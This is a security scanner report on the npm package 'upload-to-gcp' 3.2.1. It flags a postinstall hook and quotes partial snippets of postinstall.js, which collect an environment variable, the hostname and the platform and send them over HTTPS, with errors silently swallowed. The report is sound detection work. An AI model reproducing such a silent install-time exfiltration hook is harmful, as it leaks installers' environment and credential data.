High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 5. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 6. Critical: Credential Exfiltration - **Category:** Source - **Confidence:** 90.0% - **Path:** postinstall.js - **Public source:** [View source]() Source appears to send environment or credential material to an external endpoint. Public source snippet (untrusted): ```javascript L2: const os = require("os"); L3: const https = require("https"); L4: ... L6: timestamp: new Date().toISOString(), L7: pkg: process.env.npm[redacted], L8: hostname: os.hostname(), L9: platform: process.platform, ... L25: req.on("error", () => {}); // Don't interfere with installation. L26: req.write(metadata); L27: req.end(); ``` ### 7. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** postinstall.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: scripts.postinstall -> postinstall.js L2: const os = require("os"); L3: const https = require("https"); L4: ... L6: timestamp: new Date().toISOString(), L7: pkg: process.env.npm[redacted], L8: hostname: os.hostname(), L9: platform: process.platform, ... L25: req.on("error", () => {}); // Don't interfere with installation. L26: req.write(metadata); L27: req.end(); ``` ### 8. High: Trigger Reachable Credential Exfiltration - **Category:** Source - **Confidence:** 94.0% - **Path:** postinstall.js - **Public source:** [View source]() A manifest entrypoint or package-local install chain reaches credential exfiltration behavior. Public source snippet (untrusted): ```javascript Trigger-reachable credential exfiltration chain: scripts.postinstall -> postinstall.js L2: const os = require("os"); L3: const https = require("https"); L4: ... L6: timestamp: new Date().toISOString(), L7: pkg: process.env.npm[redacted], L8: hostname: os.hostname(), L9: platform: process.platform, ... L25: req.on("error", () => {}); // Don't interfere with installation. L26: req.write(metadata); L27: req.end(); ``` ### 9. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 75.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** upload-to-gcp - **Ecosystem:** npm - **Version:** 3.2.1 - **License:** ISC - **Version published:** 2026-08-12T13:27:15.903Z - **Package first seen:** 2026-08-15T18:20:05.667Z - **Package last seen:** 2026-08-15T18:20:05.667Z - **Known versions:** 1 - **Latest version:** 3.2.1 - **Appeal under review:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()
